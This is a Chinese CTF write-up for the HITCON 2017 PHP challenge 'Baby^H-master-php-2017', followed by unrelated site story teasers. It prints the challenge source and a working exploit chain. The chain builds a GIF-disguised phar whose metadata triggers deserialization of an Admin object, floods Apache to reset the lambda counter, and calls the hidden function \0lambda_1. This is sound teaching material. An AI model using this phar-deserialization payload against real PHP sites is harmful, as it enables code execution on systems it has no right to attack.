[hitcon2017] Baby^H-master-php-2017 复现

分享本题自制Dockerfile : Github

这题在比赛过程是0解......真的太难了...体现了Orange大大对php和中间件的深刻理解Orz 膜拜

题目源码:

<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);

if (!isset($_COOKIE["session-data"])) {
    $data = serialize(new User($SANDBOX));
    $hmac = hash_hmac("sha1", $data, $SECRET);
    setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}

class User {
    public $avatar;
    function __construct($path) {
        $this->avatar = $path;
    }
}

#######################key class################################
class Admin extends User {
    function __destruct() {
        $random = bin2hex(openssl_random_pseudo_bytes(32));
        eval("function my_function_$random() {"
            . "  global \$FLAG; \$FLAG();"
            . "}");
        $_GET["lucky"]();
    }
}
#######################key class################################
function check_session() {
    global $SECRET;
    $data = $_COOKIE["session-data"];
    list($data, $hmac) = explode("-----", $data, 2); #从cookie中取出data和hmac签名
    if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) #判空
    {
        die("Bye");
    }

    if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) #判断data加密之后和hmac签名是否对应
    {
        die("Bye Bye");
    }

    $data = unserialize($data); #反序列化
    if (!isset($data->avatar)) #如果反序列化之后的data包含的类中无avatar成员,退出
    {
        die("Bye Bye Bye");
    }

    return $data->avatar;
}

function upload($path) {
    $data = file_get_contents($_GET["url"] . "/avatar.gif");
    if (substr($data, 0, 6) !== "GIF89a") {
        die("Fuck off");
    }

    file_put_contents($path . "/avatar.gif", $data);
    die("Upload OK");
}

function show($path) {
    if (!file_exists($path . "/avatar.gif")) {
        $path = "/var/www/html";
    }

    header("Content-Type: image/gif");
    die(file_get_contents($path . "/avatar.gif"));
}

$mode = $_GET["m"];
if ($mode == "upload") {
    upload(check_session()); #从cookie中提取data反序列化后的avatar成员并将其内容作为路径, 请求url中的内容写到该路径下的avatar.gif文件中
} else if ($mode == "show") {
    show(check_session()); #从cookie中提取data反序列化后的avatar成员并将其内容作为路径, 展示该目录下的avatar.gif
} else {
    highlight_file(__FILE__);
}

思路:

  • 首先分析代码, 首先分配了一个匿名函数给flag变量, 执行了这个函数就会出flag, 所以整道题的核心就是执行这个匿名函数
  • 题目主要有两个功能, 一个是在沙盒文件夹任意写入一个gif, 一个是根据cookie中的路径查看这个gif
  • 一开始的想法是 -----> admin是关键类,需要通过反序列化之后的析构函数去触发其中的eval -----> 通过lucky参数去调用这个输出flag的函数. 而反序列化的data是从cookie中获得, 那先尝试一下伪造cookie,但是其实cookie后半部分是用hash_hmac和一个未知的秘钥生成的一个签名, 基本上无法伪造.....所以放弃这个想法
  • 咋一看好像代码里面并没有其他能够反序列化的地方了, 然后就来到了本题的第一个考点--php中解析Phar归档中的Metadata的时候可能会有反序列化的操作, 文档中描述的Phar::getMetadata操作(http://php.net/manual/zh/phar.getmetadata.php)
  • Phar?(方便开发者打包和发布php应用的类似于Java中的Jar的一种文件)


    What is Phar?(官方文档)
  • Phar归档的结构


    Phar(官方文档)
  • Metadata : Phar归档中可用来描述此文档的一段序列化之后的字符串
    usage of Metadata(官方文档)
  • phar_parse_metadata的初始化调用, 具体PHP源码在ext/phar/phar.c
    执行流程大致为:

    ....--> phar_open_from_filename(1512行的php_stream_open_wrapper函数可以得知此函数处理phar://打开本地phar文件 1531行调用下一个函数)
    phar_open_from_filename

    --> phar_open_from_fp(1727行调用下一个函数)
    phar_open_from_fp

    --> phar_parse_pharfile(1038、1122行调用下一个函数)


    1038行

    1122行

    --> phar_parse_metadata(函数在609行)
    phar_parse_metadata函数
  • 而且题目内upload操作提供了file_get_content()函数 其中地址可控,可以利用phar://协议读取本地phar文件(phar协议不支持远程文件The phar stream wrapper does not operate on remote files, and cannot operate on remote files, and so is allowed even when the allow_url_fopen and allow_url_include INI options are disabled.
    ),也就是说只要构造一个phar利用upload写到服务器目录, 其中metadata设置为Admin对象,就可以进入Admin的析构函数了
  • 接下来的问题就是如何猜出那个随机数?
    答案是基本上猜不出来https://security.stackexchange.com/questions/101112/can-i-rely-on-openssl-random-pseudo-bytes-being-very-random-in-php openssl_random_pseudo_bytes是加密级别的伪随机数生成器https://en.wikipedia.org/wiki/Cryptographically_secure_pseudorandom_number_generator 这是题目第二个死胡同
  • 然后就到了题目的第二个考点, 匿名函数其实是有真正的名字 从注册匿名函数的源码(Zend/zend_builtin_functions.c 1854行) 大佬还对这个逻辑戏谑了一番
    anonymous_functions_has_name

    name_of_anonymous_functions

    首先名字第一个字符被替换成了\0,也就是空字符 ,然后do操作将lambda_%d中的%d格式化成匿名函数的个数+1(从1开始)
    所以最后得出的匿名函数的真正名字为:\0lambda_%d(%d格式化为当前进程的第n个匿名函数)

  • 但是我们并不能知道当前的匿名函数到底有多少个, 因为每访问一次题目就会生成一个匿名函数; 最后就引出了最后一个考点, Apache-prefork模型(默认模型)在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256个child server, 这时候如果用户大量请求, Apache就会在处理完MaxRequestsPerChild个tcp连接后kill掉这个进程,开启一个新进程处理请求(这里猜测Orange大大应该修改了默认的0,因为0为永不kill掉子进程 这样就无法kill掉旧进程fork新进程了) 在这个新进程里面匿名函数就会是从1开始的了

最后步骤分别是:

  1. 先生成符合要求的phar放入自己的vps中, 生成代码为
<?php
class Admin{
 public $avatar = 'xxx';
}
$p = new Phar(__DIR__.'/avatar.phar',0);
$p['file.php'] = '<?php ?>';
$p->setMetadata(new Admin());
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
rename(__DIR__.'/avatar.phar',__DIR__.'/avatar.gif');
?>
  1. 再请求?m=upload&url=http://xxx.xxx.xxx.xxx
  2. 启动Orange大大写的fork脚本
# coding: UTF-8
# Author: orange@chroot.org
# 

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass

def run(i):
    while 1:
        HOST = '127.0.0.1'
        PORT = 12344
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.sendall('GET / HTTP/1.1\nHost: 127.0.0.1\nConnection: Keep-Alive\n\n')
        # s.close()
        print 'ok'
        time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)
  1. 请求?m=upload&url=phar:///var/www/data/xxx&lucky=%00lambda_1得到flag
    flag

参考:
https://github.com/orangetw/My-CTF-Web-Challenges
P神的小秘圈分享
http://php.net/manual/zh/book.phar.php
http://blog.jobbole.com/91920/
https://yq.aliyun.com/ziliao/55320
https://www.zhihu.com/question/23786410

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,222评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,455评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,720评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,568评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,696评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,879评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,028评论 3 409
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,773评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,220评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,550评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,697评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,360评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,002评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,782评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,010评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,433评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,587评论 2 350